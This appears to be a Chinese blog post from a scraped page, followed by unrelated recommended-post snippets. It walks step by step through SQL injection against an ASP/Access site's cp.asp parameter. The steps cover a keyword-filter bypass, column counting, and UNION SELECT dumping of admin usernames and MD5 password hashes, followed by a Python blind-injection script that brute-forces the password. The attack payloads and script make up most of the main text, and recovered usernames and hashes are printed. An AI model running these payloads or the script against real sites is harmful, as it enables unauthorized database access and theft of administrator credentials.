http://www.xxx.cn/cp.asp?classid=3
http://www.xxx.cn/cp.asp?classid=3 and //有拦截关键字
http://www.xxx.cn/cp.asp?classid=3 AND 1=1 //大写绕过
http://www.xxx.cn/cp.asp?classid=3 AND 1=2
http://www.xxx.cn/cp.asp?classid=3 ORDER BY 8%16 //正常
http://www.xxx.cn/cp.asp?classid=3 ORDER BY 9%16 //错误
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,2,3,4,5,6,7,8 FROM ADMIN%16 //返回正常,爆出可显示位2,说明存在admin表
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,id,3,4,5,6,7,8 FROM ADMIN%16 //返回4,5,7 说明分别有三个用户,ID分别为4,5,7

http://www.xxx.cn/cp.asp?classid=3 UNION SELECT TOP 1 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //lxiaofu
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT TOP 2 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //admin
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT TOP 3 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //admin8
或者
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN WHERE id=4%16 //lxiaofu
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN WHERE id=5%16 //admin
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN WHERE id=7%16 //admin8
再或者
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //爆出 admin,admin8,lxiaofu

http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,pwd,3,4,5,6,7,8 FROM ADMIN%16 //爆出 4817cc8dcbb3fb5,ae0284ccc20bdde,bbd06203b2ba922

整理下当前结果:
id admin pwd
4 lxiaofu bbd06203b2ba922
5 admin ae0284ccc20bdde
7 admin8 4817cc8dcbb3fb5

但是以上MD5密文都是15位,正常应该是16位或者32位:

先看一下pwd字段的长度:
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,LEN(pwd),3,4,5,6,7,8 FROM ADMIN%16 //返回16,表示密文是16位

已知密文是16位,再来截取出第16位,条件为ID
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,MID(pwd,16,1),3,4,5,6,7,8 FROM ADMIN WHERE id=4%16 //f
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,MID(pwd,16,1),3,4,5,6,7,8 FROM ADMIN WHERE id=5%16 //8
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,MID(pwd,16,1),3,4,5,6,7,8 FROM ADMIN WHERE id=7%16 //c
或者
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,(SELECT MID(pwd,16,1) FROM admin WHERE id=4),3,4,5,6,7,8 FROM ADMIN%16 //f
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,(SELECT MID(pwd,16,1) FROM admin WHERE id=5),3,4,5,6,7,8 FROM ADMIN%16 //8
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,(SELECT MID(pwd,16,1) FROM admin WHERE id=7),3,4,5,6,7,8 FROM ADMIN%16 //c

整理下当前结果:
id admin pwd
4 lxiaofu bbd06203b2ba922f
5 admin 4817cc8dcbb3fb58 
7 admin8 ae0284ccc20bddec

或者使用测试盲注脚本:

import requests

heads = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0'}
payloads='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' pwd=[] for i in range(1,17):
for payload in payloads:
url = "http://www.xxx.cn/cp.asp?classid=24 AND ASC((SELECT TOP 1 MID(pwd,{},1) FROM admin))={}".format(i,ord(payload))
response=(requests.get(url=url,headers=heads).content).decode(encoding='gbk')
# print(url)
if str("?Product_ID=194") in response:
pwd.append(payload)
print('\n','pwd is:',payload,end='')
break
else:
print('.',end='')
print('\n [Done] pwd:',''.join([i for i in pwd]))

  

WEB安全 ACCESS 注入、盲注脚本的更多相关文章

  1. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  2. 利用java编写的盲注脚本

    之前在网上见到一个盲注的题目,正好闲来无事,便用java写了个盲注脚本,并记录下过程中的坑 题目源码: <?php header("Content-Type: text/html;ch ...

  3. 盲注脚本2.基于bool

    盲注脚本2.基于bool #!/usr/bin/env python #encoding:utf-8 #by i3ekr #using # python sqlinject.py -D "数 ...

  4. Golang 盲注脚本

    Golang 盲注脚本 payload部分 其中脚本最重要的环节就是payload部分了,需要如何去闭合,如何构造SQL语句来达到判断的效果.(还有如何绕过waf等等...) bool盲注 下面是最基 ...

  5. WEB新手之布尔盲注

    开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...

  6. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  7. SQL注入----盲注总结

    参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7 ...

  8. 用python写一个自动化盲注脚本

    前言 当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行 ...

  9. 【Python】测试布尔型盲注脚本

    sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...

随机推荐

  1. mongdb启动报错

    2018-08-19T12:25:31.707+0800 I CONTROL [main] Automatically disabling TLS 1.0, to force-enable TLS 1 ...

  2. golang label breaks

    我们在for多层嵌套时,有时候需要直接跳出所有嵌套循环, 这时候就可以用到go的label breaks特征了. 先看一个范例代码: package main import (     "f ...

  3. mybatis oracle 顺序模糊匹配

    前言:有时需要顺序模糊匹配字段. 用一半的 % 就好: t.item like #{item}||'%'

  4. WinFrom柱形图

    using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; usin ...

  5. 算法day02

    算法动态演示网站 数组是有长度限制的,有类型限制 CPU计算 每次是2的32位的,32根线,支持最大是4G 数组:线性表 列表:动态表链表:存储的位置不是连续的 insert 时间复杂度是 Onapp ...

  6. web前端与后端的理解区分

    要了解web前后端的区别,首先必须得清楚什么是web前端和web后端. 首先:web的本意是蜘蛛网和网的意思,在网页设计中我们称为网页的意思.现广泛译作网络.互联网等技术领域.表现为三种形式,即超文本 ...

  7. PG数据库空间大小及数据库对象占用空间大小

    select pg_size_pretty(pg_database_size('lrisk')); --查询数据库剩余空间 select pg_database.datname,pg_size_pre ...

  8. AD账户锁定策略

    AD账户锁定策略在一个域中可以有多套,密码策略只能有一套

  9. 获取当前模块句柄(dll、exe)

    HMODULE getCurrModuleHandle(){ MEMORY_BASIC_INFORMATION info; ::VirtualQuery((LPCVOID)(&getCurrM ...

  10. DB_NAME DB_UNIQUE_NAME 和 SID 的理解

    1. DB_NAME 表示数据库名称,DB_NAME 会保持在数据文件头.控制文件.REDO文件里,所以更改DB_NAME不能仅仅修改spfile ,还需要用nid 来进行更改,并且更改后还需要手工做 ...